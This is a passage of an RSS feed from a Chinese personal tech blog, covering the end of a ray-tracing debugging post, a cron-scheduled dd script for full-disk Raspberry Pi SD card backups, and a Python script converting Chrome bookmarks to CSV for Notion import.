</span></span><span class="line"><span class="ln">9</span><span class="cl">        <span class="k">return</span> <span class="n">scattered</span><span class="p">,</span> <span class="n">attenuation</span></span></span></code></pre></div><p>果然，我们没有考虑光线在球内部的情况。如果有光线进入了球内，这光线会继续按照漫反射的规则做随机发散。这也顺便解释了为什么异常光线长度都是地球半径：Lambertian 反射在这里的方向计算方式，是首先获得一个以法线末端为球心的单位球；然后在这球上按均匀分布随机取一点，则反射方向就是法线起始端（光线源点）指向这个球上的随机点。<a href="https://raytracing.github.io/books/RayTracingInOneWeekend.html#diffusematerials/truelambertianreflection">原书示意图</a>如下，只不过这里的情况是单位球在大球内部。</p>
<p><img src="../rt-bug.assets/fig.rand-unitvector.png" alt="img"></p>
<p>这个单位球，显然和大球相似，相似比为 1：大球半径。因此最终的光线长度即为大球的半径。</p>
<h3 id="shadow-acne">Shadow Acne</h3>
<p>光线长度的问题解决以后，最后一个问题就是：为什么会有光线进入地球内部？</p>
<p>在创建场景的时候，地球采用了磨砂材质，这是一种默认并不会允许光穿透过去的材质。从上一节可以看到，lambertian 散射的计算保证了反射光线一定在切平面之上，不可能进入球内。那这是从哪里来的光线？蓝色空间号从四维带进去的吗？</p>
<p>这里的突破口在主函数渲染函数 <code>ray_color()</code> 中的一行：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">rec_list</span><span class="p">:</span> <span class="n">HitRecordList</span> <span class="o">=</span> <span class="n">world</span><span class="o">.</span><span class="n">hit</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="mf">0.001</span><span class="p">,</span> <span class="n">np</span><span class="o">.</span><span class="n">inf</span><span class="p">)</span></span></span></code></pre></div><p><a href="https://raytracing.github.io/books/RayTracingInOneWeekend.html#diffusematerials/fixingshadowacne">原书 8.4 节</a>介绍了这一方法，通过把光线最小距离设置为 0.001 以解决 Shadow Acne 的问题。这就导致了光线会突破限制进入地球内部。在计算光线和球体碰撞的时候，一元二次方程有解时往往会有两个解，我们使用了这样的逻辑去挑选最终的解：（代码为未并行化的版本）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">if</span> <span class="n">discriminant</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="k">if</span> <span class="n">t_min</span> <span class="o">&lt;</span> <span class="n">t_0</span> <span class="o">&lt;</span> <span class="n">t_max</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">        <span class="n">t</span> <span class="o">=</span> <span class="n">t_0</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">    <span class="k">elif</span> <span class="n">t_min</span> <span class="o">&lt;</span> <span class="n">t_1</span> <span class="o">&lt;</span> <span class="n">t_max</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">        <span class="n">t</span> <span class="o">=</span> <span class="n">t_1</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">        <span class="k">return</span> <span class="kc">None</span></span></span></code></pre></div><p>当光线长度小于 0.001 时，它就会被抛弃。于是在地球和其他小球的接缝处，非常短的反射光线的第一个解被抛弃了，而第二个解就在地球的另一边。这也就是为什么，光线会偶然突破限制进入不应该进入的地球内部。</p>
<h2 id="尾声">尾声</h2>
<p>最终的修复也很简单，在 Lambertian 材质的计算中加入一个光线位置的判断即可。我们本来就在光线的击中记录中加入了在球内还是球外的记录项，因此非常方便。</p>
<p>最后附上一张 debug 时渲染的测试图作为尾声：</p>
<p><img src="../rt-bug.assets/f2.png" alt="f2"></p>
]]></content:encoded>
    </item>
    <item>
      <title>树莓派自动备份</title>
      <link>https://sttev.com/posts/36-raspi-backup/</link>
      <pubDate>Thu, 19 Mar 2020 23:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/36-raspi-backup/</guid>
      <description>&lt;p&gt;如果不做魔改的话，树莓派的系统是运行在一张 SD 卡上的。众所周知，SD 卡的耐用程度是非常差劲，用来运行操作系统这样大量读写的任务对数据安全是相当大的威胁。因此，给树莓派进行定期的全盘备份是一个很必要的事情了。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>如果不做魔改的话，树莓派的系统是运行在一张 SD 卡上的。众所周知，SD 卡的耐用程度是非常差劲，用来运行操作系统这样大量读写的任务对数据安全是相当大的威胁。因此，给树莓派进行定期的全盘备份是一个很必要的事情了。</p>
<p>由于把树莓派当作 NAS 而外接了一块硬盘，因此这块硬盘自然成为了备份存储的位置。核心思想就是使用 <code>dd</code> 指令直接把整个 SD 卡的内容拷贝到一个镜像文件中。参考了以下两个项目/帖子，完成了我的备份脚本。</p>
<blockquote>
<p><a href="https://www.raspberrypi.org/forums/viewtopic.php?t=46911">Using dd to backup a PI SD - Raspberry Pi Forums</a></p>
<p><a href="https://github.com/kallsbo/BASH-RaspberryPI-System-Backup">kallsbo/BASH-RaspberryPI-System-Backup: Bash script for automatic imaging backup of a raspberry pi system while it&rsquo;s running</a></p>
</blockquote>
<p>代码如下。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1"># Automate Raspberry Pi Backups</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c1"># https://github.com/kallsbo/BASH-RaspberryPI-System-Backup</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1"># https://www.raspberrypi.org/forums/viewtopic.php?t=46911</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1"># Usage: system_backup.sh {path} {days of retention}</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1"># Below you can set the default values if no command line args are sent.</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="c1"># The script will name the backup files {$HOSTNAME}.{YYYYmmdd}.img.gz</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1"># When the script deletes backups older then the specified retention</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1"># it will only delete files with it&#39;s own $HOSTNAME.</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="c1"># Redirect output</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="nb">exec</span> &gt;&gt; /path/to/logfile/backup.log
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="nb">exec</span> 2&gt;<span class="p">&amp;</span><span class="m">1</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;=============== Start Raspi Backup ===============&#34;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="nb">echo</span> <span class="k">$(</span>date <span class="s2">&#34;+%Y-%m-%d %H:%M:%S&#34;</span><span class="k">)</span> UTC
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="nb">echo</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="c1"># Declare vars and set standard values</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="nv">backup_path</span><span class="o">=</span>/path/to/backup/folder
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="nv">retention_days</span><span class="o">=</span><span class="m">30</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="c1"># Check that we are root!</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="k">if</span> <span class="o">[[</span> ! <span class="k">$(</span>whoami<span class="k">)</span> <span class="o">=</span>~ <span class="s2">&#34;root&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;**********************************&#34;</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;*** This needs to run as root! ***&#34;</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;**********************************&#34;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="nb">exit</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="c1"># Check to see if we got command line args</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="k">if</span> <span class="o">[</span> ! -z <span class="nv">$1</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">   <span class="nv">backup_path</span><span class="o">=</span><span class="nv">$1</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="k">if</span> <span class="o">[</span> ! -z <span class="nv">$2</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">   <span class="nv">retention_days</span><span class="o">=</span><span class="nv">$2</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">
</span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="c1"># Create trigger to force file system consistency check if image is restored</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">touch /boot/forcefsck
</span></span><span class="line"><span class="ln">47</span><span class="cl">
</span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="c1"># Perform backup</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">dd <span class="nv">bs</span><span class="o">=</span>4M <span class="k">if</span><span class="o">=</span>/dev/mmcblk0 <span class="p">|</span> gzip &gt; <span class="nv">$backup_path</span>/<span class="nv">$HOSTNAME</span>.<span class="k">$(</span>date +%Y%m%d<span class="k">)</span>.img.gz
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="c1"># Restore</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl"><span class="c1"># gzip -dc $backup_path/$HOSTNAME.{YYYYmmdd}.img.gz | dd bs=4M of=/dev/mmcblk0</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">
</span></span><span class="line"><span class="ln">53</span><span class="cl"><span class="c1"># Remove fsck trigger</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">rm /boot/forcefsck
</span></span><span class="line"><span class="ln">55</span><span class="cl">
</span></span><span class="line"><span class="ln">56</span><span class="cl"><span class="c1"># Delete old backups</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">find <span class="nv">$backup_path</span>/<span class="nv">$HOSTNAME</span>.*.img.gz -mtime +<span class="nv">$retention_days</span> -type f -delete
</span></span><span class="line"><span class="ln">58</span><span class="cl">
</span></span><span class="line"><span class="ln">59</span><span class="cl"><span class="nb">echo</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl"><span class="nb">echo</span> <span class="k">$(</span>date <span class="s2">&#34;+%Y-%m-%d %H:%M:%S&#34;</span><span class="k">)</span> UTC
</span></span><span class="line"><span class="ln">61</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;=================== Finished =====================&#34;</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">echo</span></span></code></pre></div><p>创建脚本后，可以把它加入 Crontab 定时运行备份。</p>
<p>由于需要用 root 权限运行脚本，因此使用 <code>sudo crontab -e</code> 添加 root 用户的运行任务：</p>





<pre tabindex="0"><code class="language-crontab" data-lang="crontab">30 4 * * 5 /home/pi/utils/backup.sh</code></pre><p>这样它就会在每周五凌晨 4：30 自动进行 SD 卡全盘备份啦！</p>
]]></content:encoded>
    </item>
    <item>
      <title>Chrome 书签批量导入 Notion</title>
      <link>https://sttev.com/posts/35-bookmarks-to-notion/</link>
      <pubDate>Thu, 05 Mar 2020 00:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/35-bookmarks-to-notion/</guid>
      <description>&lt;h2 id=&#34;notion&#34;&gt;Notion&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.notion.so/product&#34;&gt;Notion&lt;/a&gt; 是一款万能的内容工具。关于 Notion 的深入介绍可以看少数派上的超多介绍文章，这是其中一篇：&lt;a href=&#34;https://sspai.com/post/39694&#34;&gt;Notion：重新定义数字笔记 - 少数派&lt;/a&gt;。&lt;/p&gt;&#xA;&lt;h3 id=&#34;为什么使用-notion&#34;&gt;为什么使用 Notion？&lt;/h3&gt;&#xA;&lt;p&gt;Notion 的哲学是万物皆块（Block）。有相当多的数据形式，他们皆是以块的形式展现，可以在其他的块（页、数据库等）里以任意形式排列组合。丰富的数据类型加上自由的组合方式，使得 Notion 成为了一个相当强大的内容记录/管理工具，你可以随心所欲的为你的需求打造对应的记录方式。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="notion">Notion</h2>
<p><a href="https://www.notion.so/product">Notion</a> 是一款万能的内容工具。关于 Notion 的深入介绍可以看少数派上的超多介绍文章，这是其中一篇：<a href="https://sspai.com/post/39694">Notion：重新定义数字笔记 - 少数派</a>。</p>
<h3 id="为什么使用-notion">为什么使用 Notion？</h3>
<p>Notion 的哲学是万物皆块（Block）。有相当多的数据形式，他们皆是以块的形式展现，可以在其他的块（页、数据库等）里以任意形式排列组合。丰富的数据类型加上自由的组合方式，使得 Notion 成为了一个相当强大的内容记录/管理工具，你可以随心所欲的为你的需求打造对应的记录方式。</p>
<p>还有一个很重要的点，Notion 好看。这一点也让 Notion 可以直接成为一个博客，或者是某种公开的展示页，而省的还要另外去搭网站之类。</p>
<p>Notion 也有很棒的团队协作功能，不过现在作为单机玩家还没机会体会这一点。</p>
<h3 id="notion-的缺点">Notion 的缺点？</h3>
<ol>
<li>连接速度慢。毕竟是境外网站，不过好在咱能科学上网。</li>
<li>移动端 app 性能差，桌面端 app 就是个套壳。网页端才是本体，幸亏足够好用。</li>
<li>功能并不够完善，且没有提供官方 API。足够自由的形式固然好，但是没有配套的快捷操作/批量操作等，再自由都是白搭。想自己实现自定义功能，又没有 API 能用。期待早日开放 API 吧。</li>
<li>不支持 Markdown。虽然它支持“类 Markdown”快捷键，但是终究不是 Markdown。</li>
</ol>
<p>这里是 Notion 的更新记录：<a href="https://www.notion.so/What-s-New-157765353f2c4705bd45474e5ba8b46c">What’s New?</a> 。</p>
<p>这些缺点使 Notion 成为了一个瘸腿皇帝。我把一些不需要经常查看的数据（订阅管理、书单等）迁移到了 Notion 上，但是 TODO、快速笔记等还是保留在了更快速更轻量的 Google Keep 上，笔记还是单独使用 Markdown 文件线下管理。</p>
<h2 id="目标">目标</h2>
<p>我在 Chrome 的收藏夹里有将近 500 个书签。这些书签里有相当多有意思的文章、项目等等，但是仅靠收藏夹的文件夹很难细致的把这些书签分门别类进行整理归类。</p>
<p>因此目标已经相当明确：把 Chrome 收藏夹里的书签导入 Notion，打造一个知识库。</p>
<h2 id="方法">方法</h2>
<p>Notion 的数据库支持使用 csv 文件直接导入，因此把书签转为 csv 格式就可以一键导入了。</p>
<p>首先需要从 Chrome 导出书签。在书签管理器的右上角三点菜单中，可以找到导出书签的选项。导出后就会拿到一个命名格式类似 <code>bookmarks_YYYY_M_D.html</code> 的 HTML 文件，点开可以看到里面放着我们所有的书签。</p>
<p>查看这个文件的源代码，可以看到每个书签都有名称、链接、时间、缩略图四个信息，知道这一点就可以写个 Python 脚本提取了。不过奇怪的是，这个文件中有一部分标签没有正确闭合，这给之后的解析带来很多麻烦。为了方便起见，把这个 HTML 文件用 Chrome 打开，Ctrl-S 再把这个网页另存为一个新的文件。重新保存以后，该闭合的标签都正确闭合了，可以用脚本解析了。</p>
<p>我使用了 <a href="https://www.crummy.com/software/BeautifulSoup/bs4/doc.zh/">bs4</a> 做文档树的解析。源码中可以看到链接的 <code>&lt;a&gt;</code> 标签都是放在嵌套的 <code>&lt;dl&gt;</code> 和 <code>&lt;dt&gt;</code> 列表中，一个简单的递归就可以完成对文件夹结构的提取。脚本代码如下：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>  <span class="c1"># type: ignore</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">List</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;Bookmarks.html&#34;</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">features</span><span class="o">=</span><span class="s2">&#34;html.parser&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">link_list</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">]]</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">def</span> <span class="nf">parse_folder</span><span class="p">(</span><span class="n">folders</span><span class="p">:</span> <span class="n">BeautifulSoup</span><span class="p">,</span> <span class="n">tags</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">contents</span> <span class="o">=</span> <span class="n">folders</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s2">&#34;dl&#34;</span><span class="p">,</span> <span class="n">recursive</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s2">&#34;dt&#34;</span><span class="p">,</span> <span class="n">recursive</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">for</span> <span class="n">content</span> <span class="ow">in</span> <span class="n">contents</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="n">h3</span> <span class="o">=</span> <span class="n">content</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s2">&#34;h3&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="k">if</span> <span class="n">h3</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">            <span class="n">parse_folder</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="n">tags</span> <span class="o">+</span> <span class="p">[</span><span class="n">h3</span><span class="o">.</span><span class="n">string</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="n">a</span> <span class="o">=</span> <span class="n">content</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="n">recursive</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="c1"># 0. Name</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="n">link_name</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">string</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="c1"># 1. Link</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="n">link_href</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="s2">&#34;href&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="c1"># 2. Created time</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="n">time_local</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">localtime</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="s2">&#34;add_date&#34;</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        <span class="n">link_date</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%Y-%m-</span><span class="si">%d</span><span class="s2">T%H:%M:%S+08:00&#34;</span><span class="p">,</span> <span class="n">time_local</span><span class="p">)</span>  <span class="c1"># ISO-8601</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="c1"># # 3. Cover picture</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="c1"># try:</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="c1">#     link_cover = a[&#34;icon&#34;]</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="c1"># except KeyError:</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="c1">#     link_cover = &#34;&#34;</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="n">link</span> <span class="o">=</span> <span class="p">[</span><span class="n">link_name</span><span class="p">,</span> <span class="n">link_href</span><span class="p">,</span> <span class="s2">&#34;,&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">tags</span><span class="p">),</span> <span class="n">link_date</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="n">link_list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">link</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="n">parse_folder</span><span class="p">(</span><span class="n">soup</span><span class="o">.</span><span class="n">body</span><span class="p">,</span> <span class="p">[])</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;bookmarks.csv&#34;</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="n">writer</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">writer</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">    <span class="n">writer</span><span class="o">.</span><span class="n">writerow</span><span class="p">([</span><span class="s2">&#34;Name&#34;</span><span class="p">,</span> <span class="s2">&#34;Link&#34;</span><span class="p">,</span> <span class="s2">&#34;Tags&#34;</span><span class="p">,</span> <span class="s2">&#34;Created&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">    <span class="n">writer</span><span class="o">.</span><span class="n">writerows</span><span class="p">(</span><span class="n">link_list</span><span class="p">)</span></span></span></code></pre></div><p>缩略图是 base64 的 png 数据，由于 Notion 尚不支持这种数据的导入，所以就没有放进 csv。csv 文件包括了四列，分别是名称，链接，标签和创建时间。其中，标签包括了这一书签所属的所有母文件夹的名称。创建时间使用了 <a href="https://zh.wikipedia.org/zh-hans/ISO_8601">ISO-8601</a> 标准的格式，Notion 在导入的时候会自动识别为时间类型。</p>
<p>生成好 csv 文件，到 Notion 中导入，就得到了一个整齐的数据库！</p>
<h2 id="遗憾">遗憾</h2>
<p>首先是时间类型的处理。我在 csv 中使用 ISO-8601 的标准让 Notion 能够自动识别为时间类型，然而 Notion 在导入时间后会把所有的时间转化为 GMT 时间，并且目前没有办法批量更改为 GMT+8（批量选中后更改时区会让选中的所有时间变成选中的第一个时间）。</p>
<p>另外，Notion 并不支持更改一个块的“创建时间”属性。Notion 在导入时间类型的时候使用的是“Date”格式，而创建时间是另一个单独的类型“Created Time”，这个属性目前是不支持更改的（估计以后也不会让你修改）。如果只是用这么一个 Date 类型的时间，后续往数据库里加入新书签的时候又需要手动设置时间，多了一步麻烦。总结起来，如果保留 Chrome 提供的创建时间数据，在之后要么麻烦，要么丑。</p>
<p>光一个时间就这么多麻烦事，所以大概还是删掉这个属性比较好了。</p>
<p>还有一个遗憾在于链接预览。Notion 有两个很酷的东西：一个是 bookmark 类型的块，还有一个是 Web Clipper 插件。bookmark 类型的块可以填入一个链接，然后生成对应的预览图和简介文字。可惜的是，这一效果只能手动选择 bookmark 块，手动输入链接后才行，而不能对数据库里的链接批量生成。Web Clipper 插件则是可以把正在浏览的网页内容保留格式的复制到 Notion 中，然而同样的，这没有办法批量生成。目前唯一可行的方法，大概就是手动去把我这几百条书签一条条生成类似的东西。（一点也不可行啊喂）</p>
<p>目前 Notion 还有一个比较烦人的 bug（feature？）。从一个数据库里批量把一堆项目选中拖到另一个数据库里以后，数据的顺序竟然会变…？而且是一个无法预测的随机变化… 我想要把一个大数据库手动拆到几个小数据库的想法直接就泡汤了。（书签的顺序对我还是蛮重要的）</p>
<p>就像之前说的，Notion 并没有特别完善的功能，也没有开放 API，这使得大量数据的批量操作比较艰难。倒也不是完全不能用，但是就是在细节上差那么一点点，让完美主义者和强迫症心有不甘。也做不了什么，只能期待 API 早日开放吧！有完整 API 的 Notion，我是真的不敢想象能够强大到什么程度。</p>
<p>Update：Notion 的客户反馈是真人而且态度超级棒！在工作区右下角那个问号图标里选 <code>Send us a message</code> 就可以和他们的团队成员直接交流了！一般他们都会在一天内给回复。我已经反馈了数据库顺序的问题和自动生成书签预览的建议，等他们更新咯。</p>
<hr>
<p>Update 2：为了解决从一个数据库拖到另一个数据库顺序会变的问题，我进一步魔改了代码，让这个脚本能够按照顶层文件夹分别生成独立的 csv 文件。代码主体基本没有变化，主要是修改了存储所有链接的 <code>link_list</code> 结构。代码如下：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>  <span class="c1"># type: ignore</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">List</span><span class="p">,</span> <span class="n">Dict</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;Bookmarks.html&#34;</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">features</span><span class="o">=</span><span class="s2">&#34;html.parser&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">link_list</span><span class="p">:</span> <span class="n">Dict</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="n">List</span><span class="p">[</span><span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">]]]</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">()</span>
